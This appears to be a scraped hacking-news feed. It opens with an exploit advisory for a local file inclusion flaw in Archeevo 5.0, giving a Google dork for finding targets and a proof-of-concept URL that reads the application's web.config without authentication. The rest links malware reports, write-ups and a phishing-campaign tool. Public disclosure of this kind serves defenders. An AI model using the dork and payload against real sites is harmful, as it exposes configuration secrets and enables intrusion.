Exploit Collector
Archeevo 5.0 Local File Inclusion

https://2.bp.blogspot.com/-eFdyzozIeoQ/WWlvJBrapBI/AAAAAAAAIL0/M7DCjoWzT04QjJ3gTxRIZh_KH17rlqHhwCLcBGAs/s1600/h146.png
Archeevo version 5.0 suffers from a local file inclusion vulnerability.

MD5 | d4916c25ed879d611b512e54a177db61

Download
# Exploit Title: Archeevo 5.0 - Local File Inclusion
# Google Dork: intitle:"archeevo"
# Date: 01/15/2021
# Exploit Author: Miguel Santareno
# Vendor Homepage: https://www.keep.pt/
# Software Link: https://www.keep.pt/produtos/archeevo-software-de-gestao-de-arquivos/
# Version: < 5.0
# Tested on: windows

# 1. Description

Unauthenticated user can exploit LFI vulnerability in file parameter.
# 2. Proof of Concept (PoC)

Access a page that don’t exist like /test.aspx and then you will be redirected to
https://vulnerable_webiste.com/error?StatusCode=404&file=~/FileNotFoundPage.html

After that change the file /FileNotFoundPage.html to /web.config and you be able to see the
/web.config file of the application.

https://vulnerable_webiste.com/error?StatusCode=404&file=~/web.config
# 3. Research:
https://miguelsantareno.github.io/MoD_1.pdf


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Destructive malware targeting Ukrainian organizations
https://www.reddit.com/r/redteamsec/comments/s74mov/destructive_malware_targeting_ukrainian/

submitted by /u/SCI_Rusher (https://www.reddit.com/user/SCI_Rusher)
[link] (https://aka.ms/UkrainianMalware) [comments] (https://www.reddit.com/r/redteamsec/comments/s74mov/destructive_malware_targeting_ukrainian/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Crypto Paradise and a Lesson in Copyrights | Jan 18 2022

https://cdn-images-1.medium.com/max/1920/1*LggUKShkq9UW3yrHhFI8Gw.jpeg
In this episode of Crypto Daily, I discuss how Mike Tyson is showing his support for Solana, the latest hack to Crypto.com, how Puerto…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Beep | HackTheBox writeup

https://cdn-images-1.medium.com/max/699/1*k23NOs3TcO_DK5u394SVhA.png
Super quick writeup of beep from hack the box.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
The Tale of a Click leading to RCE

https://cdn-images-1.medium.com/max/1300/0*95B_-UadF_bE0Nld
In today’s industry, we often hear that humans may weaken a company’s security leading to a potential breach. At ManoMano we highly…

Continue reading on ManoMano Tech Team »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Enumerating Access Controls in Active Directory

https://cdn-images-1.medium.com/max/2600/1*bjlOPxf2-YftM9aj-7RmpQ.jpeg
Understanding Active Directory Controls — ACLs, ACEs, DACLs, and SACLs

Continue reading on R3d Buck3T »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Vulnerabilidad de alta gravedad en 3 complementos de WordPress afectó a 84000 sitios web

https://cdn-images-1.medium.com/max/1528/0*mNA5ACjj4YiSxXWA
PUBLICADO EN 18 ENERO, 2022POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Minimum Laptop Requirements For Hacking

https://cdn-images-1.medium.com/max/686/1*jxqt2wlTBQ_TZv4k2f1xrg.png
All these activities need heavy hardware to handle a massive amount of data, multitasking capacity, run a virtual machine.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
BitBucket Tar\\../ersal to Remote Code Execution — CVE-2019–3397

https://external-preview.redd.it/somHLxVxKAbxac1kejcVcC5qxnI2SXS4bvustfQU_w4.jpg?width=640&crop=smart&auto=webp&s=164c58a1fcd352805241c2f1af0a03af1125fd08 submitted by /u/gengstah
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
We are trying to fix the internet connection

Can someone help me and my friend? We are trying to access the admin account so we can try fix the Ethernet connection.

submitted by /u/januario99
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Any ideas for a Capstone Project?

I'm in my last year of a 3 year / 6 semester Computer Systems Technology course and one of my classes include a Capstone Project. I'll assume that anyone reading this will know what a Capstone is. Let's say there are no "parameters" for this project other than it having to be completed within 14 weeks. I was initially thinking to do something related to a Raspberry Pi network monitoring tool or network vulnerability scanner, but that's just an idea at the moment. Would like to know if anyone has any suggestions for something relating to cybersecurity/networking.

submitted by /u/HellishOccupant
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Name That Toon: Nowhere to Hide

Feeling creative? Submit your caption and our panel of experts will reward the winner with a $25 Amazon gift card.

Dark Reading: Attacks/Breaches
US Search for Vulnerabilities Drives 10x Increase in Bug Reports

Cross-site scripting and broken access controls continued to be the top classes of vulnerabilities researchers discovered, according to Bugcrowd's annual vulnerability report.

goCabrito - Super Organized And Flexible Script For Sending Phishing Campaigns
http://www.kitploit.com/2022/01/gocabrito-super-organized-and-flexible.html

___________________________
@hacking_Attack
@Hacking_Video